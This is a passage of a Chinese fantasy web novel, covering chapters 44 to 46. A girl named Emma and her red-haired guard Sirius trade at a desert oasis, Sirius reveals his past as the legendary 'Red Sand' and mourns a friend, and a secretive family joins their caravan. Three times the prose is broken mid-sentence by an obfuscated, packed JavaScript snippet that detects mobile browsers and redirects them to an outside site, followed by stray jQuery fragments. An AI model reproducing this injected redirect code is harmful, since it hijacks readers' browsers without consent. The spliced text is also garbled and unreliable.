她说:“姐姐,我看到你是从骑兵营里出来的,你是骑士吧?” 嘉兰至今没有参加过骑士的考核。兵营里的熟人都说她绝对有足够的水平,王室也不敢真把领主当骑士使唤,你多拿个勋章也不费事——嘉兰说算了,没必要。我要这东西干什么呢? 骑兵营里许多人是敬重她的,不止因为她是领主,而尊敬她像一位骑士。 嘉兰没有答应女孩的话,但也没有否认:“有什么事情吗?” 女孩当她的话是默认,眼神登时亮起来:“我就说,就说现在是有女骑士的——他们还笑话我!领主大人已经修改了法令,现在女生是可以当骑士的!” 女孩看起来只有七八岁,衣着简朴,蹭着不知道哪里沾的泥,磨损了不少,但人很有精神。 嘉兰蹲下身,看着女孩的眼睛:“你想当骑士吗?” 女孩用力地点头:“我可喜欢骑士小说了,特别帅!我也想当那样了不起的骑士!” “要成为骑士很不容易。训练很辛苦,又累又脏,会疼,也会流血,还会被议论。” “我不怕!”女孩骄傲地握拳举起手臂,展示了手臂上不知道怎么留的疤,还有不知道撞哪儿擦出的乌青,“我可厉害了!那些笑话我的家伙都被我揍了。我也不怕疼!” 嘉兰看着女孩的手臂:“你父母怎么说?” “他们说,‘能当骑士就当一个看看嘛’,他们还没见过。我就想,那我更要当一个给他们看看!” 女孩叉起腰,又愤愤皱眉:“我本来是去正门那边报名的,但招人的那个大叔说我不行,也不说哪里不行!就说‘女孩子家家的不该来这儿’,我好生气!绕了大半圈等着,想等一个女骑士出来给他看看!领主大人的法令上那么写着的嘛,我认识字,法令上写得很清楚的!” “嗯,法令上写得很清楚。”嘉兰点头,认真地看着她,“你确定,真的想成为骑士吗?” “我确定!”女孩大声说,眼神很亮。 嘉兰笑了,直起身来,向女孩扬了扬下巴:“你带路吧,带我去见见那个拒绝你报名的人。” “好!”女孩高兴起来,已经在心里上演了一出英雄打脸的正义戏码,走在前面,又回头期待地问嘉兰,“那你要跟他怎么说啊,姐姐?” “不用说什么。”嘉兰笑着道,“我帮你揍他。” 艾玛曾经说,嘉兰很帅啊,看起来像故事里的骑士那样,真想让别人也承认这点。 嘉兰想,即使在很久之后,那些细小或巨大的影响会生根发芽。后来者只见巨树,不知栽种者。 但她会记得一些事,那些事对她来说是重要的。 相遇本身就有意义。 44.商会 厅堂里穹顶高耸,陈设堂皇,华丽的水晶吊灯投下一千片细碎的倒影,融在宾客往来高高低低的谈笑声里。 墙上涂满金漆彩绘,描画的纹样艳丽夸张。许多盆葱茏的绿植错落摆布,在夜间大敞的窗门间随风摇晃。 热闹的大厅一角安置着几张给客人们休憩交谈的藤椅,还有沙发和木桶木箱,选择空间丰富,品质却参差不齐。 有的空木桶缺了半块板,有的沙发上被利器犁了数道,绽出芯子里的棉花。 男人就坐在这样一个破沙发里,端起桌上的酒喝了一口,眼珠在周遭又转了一圈,像因为酒水太烈而咂着嘴感叹,心里却反复衡量。 厅里往来的客人不论男女,多数身形高大,肌肉强壮,体表明晃晃地交错着伤疤,仿佛威慑与展示。 沙漠温差大,有的客人披着厚厚的皮毛,有的穿着轻薄粗糙的布料,一应四季的服装兼具。 夏天的夜晚在宅邸的人气里升温,汗水和金属碰撞的声响让人躁动心痒。 男人舔着牙,隐秘审视的目光在对面又转动了一遍。 坐在他对面的女性,年龄上还只是个少女。身量平常,但在满屋横行的打手衬托下,难免被显出几分单薄。 衣着干净低调,露出的肌肤上没有任何伤痕。她的嗓音平和,语调远比年纪沉稳,谈起价码和交易的口吻流利熟稔。 受过良好教育;出身不错,或许有什么背景;是生意熟手,常见的陷阱话术捞不到便宜。男人在心里计量。 他考虑着,又将目光落在她身侧站立的护卫身上。 作为护卫,那男人的身形看着没什么能作为夸耀的,还留着一头暗红的长发,为了好看似的。他嗤之以鼻地想。 但一撞上那双暗红的眼睛,他就没来由心里一凛,生出些难明的惧意。 原本这样一个年轻的女孩,手里握着这么好的货品来跟他谈交易,又只带着一个护卫,实在很难不让人动心——动强抢的念头。 沙漠就是这样的地方。 每个地盘画着每个地盘的规矩,但又到处是从没把规矩放在心上的人。 谁更强大,谁更暴力,再不然凭借计谋与狡诈,只有赢的人有权力说话。 这是沙漠的住民唯一遵循的信条。 但酒杯在他手里转了转,还是平稳地放回了台面上。 不行。男人想。风险太大,划不来。 这样的外貌,却有这样熟练与从容的生意人,八/九成是魔法师。 他手里有几件能限制魔法师的道具,但为眼前这件商品的价值去赌对方的本事,风险大过了利益,不值得。 虽然有些犹豫和遗憾,但男人也经验丰富,能在这人吃人的荒漠混得好,多少练出了些眼色。 他做完合计,便再在口头上和对方讨还了几次价格,最终拍了板。 将钱币推到对面,接过匣子验了货后,男人抬头时,又对上面前少女的眼睛。金色的双眸在灯光的阴影里温和地闪动,像流溢的黄金。 沙漠里从不缺怪谈故事,那一瞬间就有几件滑过他脑子里。 在天灾横行的沙漠,迷信者比沙漠里的草多。太多讲不明白算不清楚的事,最后都归结了运气。运气能左右人的生死来日。 他想,这女人有双金子样的眼睛。她有份好运气。 于是抹掉心里最后一点没能动手的痒意,他喝尽杯里的酒,掷下杯子,带着同伴走了。 钱币的数量和说好的一致。艾玛系上装钱的袋口,目送着交易对象离开。 他刚刚产生过动手的念头。她勾着袋口的丝带想。但最后还是没有行动,这很聪明。 地星上的大陆连成一片,远离海洋的地方多旱,内陆便有大片大片的沙漠。有水源的地方会形成聚落,水源越大,聚落规模越大,最终会形成城市、国家。 规模小一些的绿洲虽也有城市,但居住的人少,离大型聚落太远。 如果价值足够,则会被某国划作领土、派兵驻守;但价值有限,或距离实在太远,军队的鞭长不能及,那绿洲往往会被强盗野兽占据。 还有一部分则在这样的绿洲城市建起了自己的小型独立政权,这样的组织,现在时常自称为“商会”。 它们以自己所在的绿洲城市为名,主持绿洲的秩序,欢迎外来商队停靠和交易。如果有谁在这里违反商会的规则,则会遭到商会的暴力对应。 艾玛靠在装着软垫的藤椅里,放松了些身体向后仰,听到厅里赌桌上丁零当啷的喧声,吊灯散下的光让她眯了眯眼睛。 举办这场热闹宴会的,就是这座绿洲城市“商会”的首领。他的府邸辉煌,不同于王国贵族讲究的雅致,怎么吸睛怎么来,奢华里处处透着沙漠的粗犷。 而获得这场宴会的准入资格也简单,用不着什么推荐信邀请函,在入口处交够钱就能进来。 在商会首领的地盘上做交易,比在外头的市场上摆摊碰运气爽快,敢进入这里本身意味着主动接受了一道筛选。 光明历1393年的6月,艾玛他们搭乘的商队在这座绿洲城市停靠,到城中进行休整、物资补充和商品交易。 这座绿洲城市是他们商队领队地图上一个可靠的停靠点。 这些名声都是各路商队走出来的口碑,当地的商会可不可信,资源情况如何,同行里传来传去,商队们心里就大概有了个数。 沙漠太过危险,停靠地的选择对商队来说非常重要。如果不能及时交换补给到物资,极有可能危及性命。 而更要警惕的,是那些占据了绿洲,打着商会名号,却做着强盗勾当的组织。 大部分商队在母国买进商品,然后运到别处去卖掉,或者换到什么更稀罕的好东西,回国再高价卖了,总之就是赚差价的生意。 但说来简单,做起来不那么容易。 什么东西好卖、有需求、能赚到的差价大,这里面的学问很深,带着点赌博的运气。 商队走这么一趟要冒生命的危险,一路辛苦异常,如果货物在路上受损,或者赚到的差价不抵这一路的成本,那就亏大了。这样的事时有发生。 因此许多人不适合做这行,受挫后还是觉得捡着命过安稳日子更好。 艾玛在这些生意上却有着过人的天赋。 她往往能看到商品上别人看不见的价值,或是预测什么东西在接下来的旅途里价值会增加,买下一般人看来不必要的东西,在别处却能高价卖掉。 以从费城带出来的商品为本金,之后这几年的旅途中,两人的旅行经费基本全是艾玛生意所得。 西里斯对此意外也不意外。 女巫的直觉和预知能力用恐怖形容还太轻,虽然艾玛还在成长中,各项能力都是未完成状态,但用于和普通人打交道实在绰绰有余。 只是艾玛对这些生意的兴致让他有些惊讶。 她在费城当领主的时期,就已经对各种交易规则漏洞了如指掌,并且磨砺出了熟练的社交辞令运用能力,放在沙漠这种人均 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097784|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知识水平在认字以下的环境里,甚至显得浪费了。 但比起盈利几何,艾玛对于和形形色色的人打交道更有兴趣,因此更看重交易的过程。 由于年纪和外表,艾玛和人做生意时常常被看轻。在暴力至上的沙漠,空有聪明和理论难以执行公平。 这部分西里斯总会主动为艾玛代劳。 他会“请”那些激动的商人们坐下,再好好想想,是要进行一场文明公正的交易呢,还是觉得今日天时地利人和,是个脑袋搬家的好日子? 西里斯现在总是自称为艾玛的护卫。 艾玛给商队的托词往往是“出门寻亲”或者“去某地做生意”。作为护卫的魔法师在沙漠不罕见,远途旅行,聘个护卫同行非常合理。 西里斯对沙漠很熟悉。 商队的安排规律,绿洲城市的规矩,乃至天气风向和沙漠动植物的习性,他都能一一道来。 西里斯说,在遇见艾玛之前,他一直在四处旅行。 这片大地除了沙漠就是沙漠,不过是在沙漠中捡出几座城市,见多了就了解了。 偶尔他也跟艾玛提过些“过去”,他曾经旅途中的见闻,什么珍奇生物或者传说,有时旁边的旅客也会凑过来一起听。 沙漠中从不缺奇谈怪事,分享这些真真假假的消息既能消遣时光,也没准有一天能为遇到这类险境的自己保命。 艾玛有几次碰见西里斯和偶遇的其他商队里的人交谈,对方会给他点东西。 西里斯说,从前有些人欠过他的人情。他不在一处停留,大多之后和对方再也不见,但留过些暗号。 沙漠里不少商队有这样的秘密风俗。只要某人向组织成员报上暗号,便能从对方处拿些物资。 当然也有说话不作数的,或者时间太久,暗号流失了。 西里斯现在并不缺什么东西,报了暗号也只是要点干粮和水,或者对方带的小商品。 艾玛猜想他只是想知道那些人后来如何,有这么一个和人聊天的契机。 艾玛偏过头,看到西里斯正望着宴会厅里的场面。 他似乎有这样的习惯,每到一个地方,都会观察自己所处的环境。 旅行途中,他们辗转换过许多商队,同行的伙伴理所当然总会待在一起,艾玛也因此有了更多和西里斯相处的时间,比在费城的时候更密切。 她抬起手,指尖点到西里斯垂在身侧的手上,在他手心刮了刮。 西里斯动了动眼睫,低过视线问她:“有什么事吗,艾玛大人?” 敬称没有完全略掉,但至少确实是在叫她的名字了。 艾玛认为这已经是长足的进步。 “时间差不多了,我们回去吧。”艾玛说,“明天还要跟着商队重新出发。” 艾玛盯着他的眼神和对其他人不一样。专注,认真,兴趣浓厚。她的喜好变化大多很快,学会掌握了的新事物,很容易就会厌倦。 但她自己所谓的,对西里斯的“喜欢”,保质期似乎有些太长了。 这不是个好征兆。 西里斯寄望于她移情别恋,或者兴趣消退,现在看来并不顺利。 唯一值得庆幸的是,艾玛的好奇心还没有发展到要求进一步的变化。 他们之间的关系保持在一个微妙的平衡。 暂时地,西里斯决定不去设想平衡被打破的那个可能。 她的指尖还压在他指腹上。 西里斯停了片刻,移回目光:“好。” 45.黛丝特 商队预定的集合时间在下午,要离开这座绿洲城市,清晨太匆忙,再留出一个白天好多些准备的余裕。 艾玛已经没什么要收拾的了,午休后还有阵时间,就在旅店外晃了晃。 她正打量摊上的石头手串时,一个红棕色短卷发的女人经过,探过头来笑道:“哟,艾玛小姐,又淘到什么好东西啦?” 艾玛回过头笑了笑:“没什么,只是随便看看。这手串颜色不错,很衬罗琳小姐你呢。” 罗琳哈哈大笑:“是不错,你眼光真好,可惜我这身上已经挂满啦。下午三点集合,四点就出发。你们注意点时间,别忘了啊。” “好,辛苦了。” “哎,没事没事!我走啦。”她摆摆手离开了。 罗琳是他们所在商队的领队,三十九岁的年纪,在商道上已经待了快二十年。从小时候跟着别人的商队,到开起自己的商队,行商经验丰富,为人开朗又爽快。 艾玛他们两个月前搭上了罗琳的商队,相处得还不错,互相也算比较熟悉了,时不时一起聊聊天开开玩笑。 大约是到了快重新启程的时候,罗琳正在四处做收尾,正好碰到,就再提醒了他们一遍出发时间。 艾玛和西里斯继续逛了一会儿,等到时间差不多,也赶去了集合地点。 他们到的时候,已经有许多人在那里,骆驼站在一边休息。 罗琳在人群中穿梭,拿着表单核对人数货物。准备完毕了的商人们暂时无事可做,坐在凉棚下的毯子上聚众谈着天。 艾玛过去和罗琳报到时,正听到那边的商人语气激动,吐沫横飞,信誓旦旦:“——是赤砂!绝对是!我看见了,他身边还有个女人,蝎子尾巴!” “哦哦!”一边的人也听得激动,“那个大名鼎鼎的‘毒蝎’是吧!” “是呀!绝对是!”那商人得意地比划起来,“那尾巴漆黑漆黑的,卷起来有两个人那么高,嗬——真是,看着吓人,扎一下了不得哇!” “听说她的尾针都不用扎中人,那毒性强得,擦一下都得死!” “那果然——之前的传闻,是真的吧?”人群里压低了声音,弥漫开窃喜的氛围,“赤砂要是真来了,那不就说明,那些强盗都得倒大霉!” 艾玛他们的行李被装上骆驼,罗琳点好了数。 艾玛远远听着那边的对话,对罗琳道:“他们在说的是‘赤砂商会’?” “是啊,沙漠里的商人都喜欢谈这个。虽然大多是谣言……哎,爱谈就谈吧,高兴点也好。”罗琳摇摇头。 她对此似乎兴致不高。 艾玛好奇道:“罗琳小姐不喜欢这个组织吗?” 罗琳失笑:“不,我当然也喜欢。我从小听着赤砂商会的传说,谁不喜欢那样的英雄呢!但也到底是传说啦……赤砂商会的故事到现在已有百余年,赤砂再厉害,恐怕也只是被神化了的人类。人类哪能活那么久呢。 “他们的故事现在还能给行走在沙漠的我们勇气,这或许已经是他们留下的庇佑……只是年纪增长,我更容易多愁善感了。 “每每想到这片沙漠看也看不到边,走也走不到头,人留下的痕迹一场风沙就能抹个干净。那些英雄越辉煌,死后却不知道埋在哪片沙地之下,想起这事,我就越觉得伤感……” 罗琳拍拍自己的嘴,对艾玛扬起一个伤感但不失活力的笑:“算啦算啦,老女人的丧气话,你别管了,年轻人还是要乐观点的好!” “罗琳小姐还年轻着呢。”艾玛说,“您很温柔。” “哎呀,真是,你还是那么嘴甜!”罗琳大笑起来,拿着册子向她挥了挥,“我还要去忙,你先在这儿休息吧,出发了再叫你!” 艾玛向她告了别,捡着人少的毯子边缘坐下了。 太阳能照到这里一半,晒得很,因此这边暂时没什么人。 西里斯核对完了行李情况,拿着水壶和毯子过来,替她披开毯子挡挡日晒,然后坐到了她身边。 那边的商人又开始描述那位“毒蝎”的形貌。赤砂商会在沙漠中实在有名,艾玛也听说过数次了。 用一句话来概括他们,就是“只劫掠强盗却保护普通商队的侠义之士”,因为其事迹具有传奇色彩,作风正义又颇得商人们青睐,口口相传下便成了业界的一根标杆。 这商会中传奇色彩最浓烈的,肯定还要属那位以名字命名了商会的首领“赤砂”。 但人们要说自己见过赤砂时,却往往会强调和描述他身边的同伴。 原因无他,赤砂从出名开始就是个绝对的神秘主义者,他总是戴着面具出现,用着能模拟各种声音的变声石。 因此有关赤砂的年龄、外貌、性别,一切都是不定数,谣传说他男女老少的都有。 人们说他行事作风狠辣,如同恶鬼。如今活在传言里的赤砂仍然神秘,仿佛不知什么时候会在沙漠的某个角落再度出没,像个活在传闻与现实之间的鬼魂。 距离赤砂商会销声匿迹早有百年,但总有人信誓旦旦,说赤砂还活着,至今仍在制裁沙漠中的强盗,仍有强盗听见这名字就要胆寒。 还有一些冒名顶替赤砂的旗号,却被赤砂本人制裁了的故事。有人说他或许死了,但他的亡魂还在贯彻他的意志……这之类的传说真是不少。 坐在这儿都没事干,就数那边商人的高谈阔论最响亮。 艾玛听见他又在描述“毒蝎”那漆黑巨大的螯针,忍不住道:“上次听说那位‘毒蝎’的尾巴还是金色呢。” 西里斯说:“她是紫色的尾巴,颜色没那么深,整条尾巴展开有两米长,比她本人的身高长上一点。尾针的毒只有麻痹效果,没那么离谱的毒性。‘毒蝎’是她的绰号,她叫黛丝特。” 艾玛眨了眨眼睛。 传说里对于赤砂模糊的描述中,只有发色大约能确定为暗红,血一般的红色。 西里斯的长发是暗红的。 “之前其实也想到过,”艾玛对他说,“我有一个猜想。” “嗯,‘赤砂’,”西里斯淡淡道,“我用过这个名字。” 哦。艾玛想,传说的背后好像更惊人。 沙漠里的传说实在太多了,赤砂商会在其中是因为情感色彩很受欢迎的那档,但对艾玛来说并非最有趣的那类。 正义总会胜利的英雄故事太刻板,一眼能看见结局。 但如果赤砂就是西里斯,那整件事的意义就不同了,艾玛顿时提起了兴趣。 “‘赤砂’……‘朱砂’,你很喜欢这个名字。”艾玛说,“那‘西里斯’恐怕也不是你的真名吧?” “我有过很多名字。”西里斯回答,算一种默认,“被怎么称呼并不重要。” “他们说你是英雄。”艾玛说。 “传闻的加工而已。”西里斯说,“我最早建立那个‘商会’,只是为了收集情报。停驻在城市效率太低,为了更有效率地获取情报,我在沙漠里四处活动,建立了组织,故意传出些好名声,效果确实不错。 “最早陌生的商队碰到我们都战战兢兢,不好沟通。但后来听见‘赤砂’的名字,商队会上赶着来,想知道什么都随便问,方便多了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104634|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但保护商队、攻击强盗应该是事实?” “是。商人们很谨慎,那样的名声不能凭空捏造。反正强盗也不好沟通,不好掌控,想要情报,还是找清白的商队靠谱省力。我也确实通过这种方式问到了有用的东西。” 西里斯口吻很淡:“虽然我是抱着这样的目的,当然嘴上还是说得好听,比如‘为了正义和公理’。反正他们确实相信我被强盗害死了全家所以有强烈的决心。 “后来商会里有不少人自诩英雄,有人真的抱着天真的善意和好心,有的只是想捞点好处。嘛,反正最后差不多都会这样。” 艾玛说:“有的故事里说赤砂死了。” “最后确实……‘彻底死过一次’。”西里斯沉默一下,平淡地换了一次气,“赤砂商会这种特立独行又天真理想的作风,什么时候出事都不奇怪。” “因为招进了太多人,成员变动,理念分歧,然后自诩英雄的不满混混日子的,一腔热血但没脑子还质疑行动方针的,擅自期待擅自失望然后大闹的。 “看赤砂商会不顺眼的人很多,共同的敌人让他们团结起来,再有些叛徒通风报信,就有了后来的下场。我也确实没想到……” 他停了停。 “虽然后来清理了敌人,但商会的主要成员都死在了那场袭击里。我也已经得到了我需要的东西,没必要再建一个‘赤砂商会’,所以没有后续了。” 他说完,两人中间安静了一会儿。 那个商人说到“毒蝎”的美貌,如何声色动人。 西里斯说:“我遇见黛丝特的时候,她瞎了一只眼睛,右眼有疤痕。虽然不畏光,但会吓到人,所以她经常戴眼罩,一会儿说觉得帅,一会儿又嫌热。她还喜欢小孩子,但小孩大多怕她。 “她左手断了,装了特殊的钩子,里头藏着毒,外面套了木制的义肢。我给她装的,一个月折了五次,我警告她再随便弄坏就准备别要这只手了,她才收敛点。 “黛丝特最早脾气很爆,后来商会人多起来,她念着自己是二把手,成熟了不少,不会跟人一吵架就把人往沙地里头埋。 “她打架很凶,蝎子尾巴看着吓人,身上又有大片纹身,所以有‘毒蝎’这绰号,她还很得意。 “她酒量还行,但酒品很差,喝多了什么都乱说,骂一堆脏话,第二天全忘了,没忘也装忘了。 “做菜很糟糕,沙漠就那点食材和做法,不知道她怎么能做得跟调毒一样。但她确实会制作毒药,还会分给同伴抹在武器上。 “她知道沙漠里生什么病、受什么伤要怎么对应。看着大大咧咧,心思倒很细腻,大家都很喜欢她。” 艾玛说:“听得出来,你也很喜欢她。” “黛丝特是……我为数不多的朋友。”西里斯说,“但她死了,我没能救下她。我会一点医术,但这点医术大多时候救不了人。” 他看着在那里谈论的人群:“黛丝特觉得赤砂商会的旗号太天真,不切实际。但她还是喜欢被当作英雄。她是个热心的人,真的会做些吃力不讨好的事。被夸得太狠又会不好意思。 “要是听到走样成这样的传闻,她大概会笑出来。她笑起来可真难听……我模仿不了,算了。 “如果知道这么多年之后,她在传闻里是被人当作英雄谈论的,黛丝特应该会高兴吧。” 西里斯平淡地陈述,只是声音比平常缓一些,听不出太多感情。 艾玛犹豫一会儿,伸手,轻轻拍了拍他的背。 西里斯调整了一次呼吸,声音恢复到了之前的节奏上:“我们该出发了。” 46.顺风 重新编组好的队伍再次启了程。每到一站绿洲城市,都有或多或少的人“下车”,根据计划目的和路线搭别的商队的车。 换乘需要提前约定好,由上一位商队领队替人带消息、做安排,下一位领队接受了“搭顺风车”的申请,时间地点日程全都对得上,接到了头,才能跟着那个商队走。 旅行的商队不是什么人都收,需要考虑安全性和商队的负荷能力等多项要素。 有经验的商队不在乎一点小利,通常有比较稳定的成员组成,更注重安全和保险,很少临时收人。 艾玛和西里斯搭上罗琳的商队,便是靠之前商队领队的推荐和保证。 他们在旅途中给之前那位领队的印象不错,但作保证需要担着影响他口碑的风险,他们仍为这份保证向那领队付了不少好处。 罗琳的商队是组织有序、经验丰富、各方面都较为优异的中规模商队,因此搭上她的车需要一定的门槛。 比较混乱的草台班子的车倒是很好上,艾玛他们也搭过两次,仗着自己的本事最终没落下什么后果,但多少有点麻烦。能选择优秀的商队当然更好,睡眠质量多少能提升一些。 在出发的时候,艾玛就注意到队里多了些生面孔,这也正常。 赶了半天的路,到了晚上,罗琳决定就地扎营,然后生火做起了晚饭。 西里斯也注意到,停靠绿洲之后,这次的队伍里多了一家四口。 一对夫妻,带着一对儿女。 本也不是太稀罕的事,虽然带孩子到沙漠经商的较少,但也有这样的情况。商队一般是不太乐意带孩子的,因为幼稚的孩子容易惹麻烦。 更特别的是,这一家四口似乎没有事前预定,而是临时搭上的车。 西里斯有点在意,多听了两句,似乎那对夫妻中的妻子是罗琳商队副手的堂姐,有急事,不得不在这个时点搭一班车,因此塞了不少钱,恳求他们通融。 那位副手保证他堂姐一家确实是清白的普通人。那对夫妻有一定的文化水平,态度也诚恳,罗琳有些好感,又念着副手的保证和他家里的情分。 在城市停靠时卖掉的货物不少,骆驼有多,便答应了带他们一程。 听起来很正常,逻辑通顺,符合常理。 但不知道为什么,西里斯仍然有点在意。 “阿夏尔!” 男孩像阵风似的从西里斯身边跑过。 西里斯回过头,看见男孩的背影,大约十岁左右的年纪,是临时搭上商队那一家四口里的儿子。 天色已经暗了,追着男孩跑来的女孩气喘吁吁,没能算好距离避开障碍,一下撞在了西里斯身上,被撞得倒退两步,摔在了沙地上。 她捂着鼻子,皱着脸,大约是撞疼了,一时没爬起来。 西里斯回过神,蹲下身,向她伸出手:“有没有受伤?还站得起来吗?” 女孩摇摇头,看清了西里斯的脸,有点不好意思:“我没事,谢谢哥哥。” 西里斯把她拉了起来,女孩刚站稳,在陌生人面前有些局促,一时不知道说什么。 刚才跑远的男孩却折回来,又一阵风似地一把将女孩护在身后,和西里斯拉开了距离,警惕地望着他。 “啊,阿夏尔!”女孩立刻抓住了男孩的手臂,毫不客气地敲了敲他的头,“爸妈都说别乱跑了!这可是在沙漠里,晚上可危险了,说不定还有吃人的妖怪呢!万一你跑太远,我们找不到你了怎么办?” 被叫做阿夏尔的男孩撇了撇嘴:“哪儿有妖怪啊!这里只有沙子,连只爬虫都看不到,真无聊!我是在侦查环境,俗话说知己知彼——” “领队阿姨肯定比你有经验啦!她说可以在这里驻扎,肯定没问题。好啦别跑了,快去吃饭。” “我还不饿——” “阿夏尔!安!”一个戴着眼镜的中年男人气呼呼地跑来了。 阿夏尔一看就缩了缩脑袋,男人恼怒地要敲他头,但个子小小的男孩很灵活,一下窜到了那个叫做“安”的女孩身后。 安比他高,阿夏尔再矮了矮身,完全到达了男人不能轻易碰到的高度,只从侧边探出头来睁着一双黑亮的眼睛观察情况。 男人瞪了他一眼,一边擦汗一边叹气,向西里斯连声道歉:“不好意思啊,我家孩子给你添麻烦了。哎,年纪小,第一次出远门,太激动了……” “你也没出过这么远的门吧,是不是比我还激动?”阿夏尔还在嘴欠地拆父亲的台,却没想到新的敌人来自背后,一下子被拎住后领提了起来。 他感知到了熟悉的危险气息,不敢再动弹了。 他的母亲拎起儿子,也向西里斯道歉:“给你添麻烦了。” “没事。”西里斯倒也没觉得有什么困扰,看得出这对夫妻很有礼貌。 这时候艾玛拿着晚餐过来了,看到这边一圈人,异常热闹。 她也认出了这一家四口是刚进商队的旅客,于是先和他们互相自我介绍了一番。 艾玛温柔又亲切,西里斯看起来也算和善。 夫妻俩本来有点紧张,但跟他们聊了两句,放松了一些。 正是晚餐时间,妻子拿来了他们的食物,和艾玛他们坐在一起,一边吃一边聊起来。 阿夏尔三下五除二就把自己的食物吃完了,勉强保持着礼节,乖乖坐在一边数自己有几根手指。直到安也吃完了饭,他噌地就拉起她要跑去玩,被夫妇俩呵斥了几句,严正警告绝对不许跑太远。 最终孩子们在家长视线可及的角落里坐在一起,在沙地上写写画画地做游戏。 夫妻俩简单介绍了他们的情况。 丈夫叫马克,是位语文教师,在城市里的公开学堂教书。 在一些偏远的小地方,村里有些文化人愿意义务教教小孩子认字算术,父母大多会送年幼的孩子去学点,但孩子们又正是好玩的年纪,大多不愿学枯燥的东西。 而城市的这种学堂收费上课,请不起私教又想学点文化的居民大多聚在这里,学生的年纪有大有小。这些主动缴费报名来上课的人,主动学习的意愿比被逼学习的孩子们高上很多。 马克先生在公开学堂里教人读书认字,当老师当了有近十年,以为蛮有教育心得,直到有了这么个一只耳朵进十句话,另一只耳朵里原封不动倒出九句的儿子,方才感受到那些学生主动学习的精神如此可贵。 妻子叫做露丝,是一家陶器店的销售员。她对陶器制作很有兴趣,本身也懂一些制陶的手艺,很有审美情调。 由于谈得投机,还说之后要把行李里的陶盘给艾玛看看。 他们的两个孩子,安和阿夏尔,年纪差了两岁,是一对姐弟。 安活泼但是很听父母的话,是父母的贴心小棉袄。似乎是感到这女儿让他们的日子过得太舒服了,上天又给了他们一个非常活泼,但是非常不听话的儿子。 像是要把安没让父母头痛的份一起疼回来一样,阿夏尔作妖的本领是寻常小孩的两倍。 听到这里,艾玛也只能安慰,孩子小时候是这样的,熬过去就好了…… 让她有点意外的是,这种时候,西里斯没参与进话题。 他一般会适时附和,说点安慰的话。 艾玛侧过头,看到西里斯正在出神,望着两个孩子玩耍的方向。 她跟着看过去,阿夏尔压低了声音,神秘兮兮地在跟姐姐说什么悄悄话。安屏息听到一半,哈哈大笑起来,阿夏尔不满地强调了几遍。 在艾玛的印象里,西里斯不喜欢小孩。 概括地说,他不喜欢天真、幼稚、难以沟通、合作能力差的人,这些特质小孩一般全部具备。 艾玛说:“姐弟俩看起来感情很好。” “这倒是,那小子还挺护着他姐姐的,还嫌他姐姐脾气太好,怕她在外面受欺负。”露丝夫人说到这里,眼神柔和起来,“阿夏尔这孩子,心是不坏的,人也聪明,要真想学什么都能学得很快,就是这性子啊……” 马克先生哼了一声:“再聪明,不肯学也白搭!我跟他说了多少次,他哪次听进了?” “年纪小的时候都是这样。等长大些,性子会静下来的。”艾玛宽慰道。 好像是终于想起自己还在谈话的饭桌上,西里斯也心不在焉地搭了一句:“会好起来的。” “哎!但愿吧…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110717|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”马克先生叹了口气,皱着眉,忧心忡忡地喝了口茶。 艾玛看着马克先生脸上的惆怅,又瞥见露丝夫人面上隐隐的忧色。 这不像是因为孩子顽皮而露出的头疼,底下藏着些更焦灼的情绪。 她不动声色地问:“二位是出来旅行吗?工作上的事会不会耽搁?” “是……啊,不不,”马克下意识应了艾玛的问题,被夫人扯了下手臂,回过神来改了口,“呃,没事。工作,工作辞了……啊,不,是学堂倒闭了。” 露丝夫人咳了一声:“是啊,这几年生意不景气,陶器店的薪水也一降再降……我们就想,干脆换个城市去生活试试。虽然要冒点险,也是为了两个孩子的将来……” “两位是从哪座城市来的?看二位的着装谈吐,应该不是刚才那座绿洲城市的居民吧。” “不,我们就是……”露丝夫人意识到自己话里的漏洞,换了台词,“没什么,一座小城市罢了,你们肯定没听过,也没什么好提的。你们要是做生意,还是别去那儿,那里现在生意难做呐,你看我们家不就是逃出来的……” 她撒谎比丈夫要镇定一些,但也不算擅长,匆匆又换了话题,闲话起别的来。 艾玛当作没发现,顺着她的话继续聊下去。 但马克先生的兴致始终没能再提起来,闷闷地沉思了好一会儿,又抬起头,看着远处的孩子们。 西里斯看见了他的表情,垂下眼,什么都没说。 夜晚人们各自钻进了帐篷,留几个轮班的护卫值夜。 风声安静,照明的篝火还在缓慢地燃烧。 露丝夫人和孩子们已经睡下了,闹腾的孩子困倦起来也快,这会儿已经沉进了梦乡。 马克先生却撩开帐篷,又走了出来。也没干什么,挑了个离自家帐篷不远、又看得见火光的位置坐下了,怔怔看着远处黑沉沉的天际线。 沙漠和夜色混合在一起,什么都看不清,仿佛火光照不到的地方都藏着噬人的野兽。 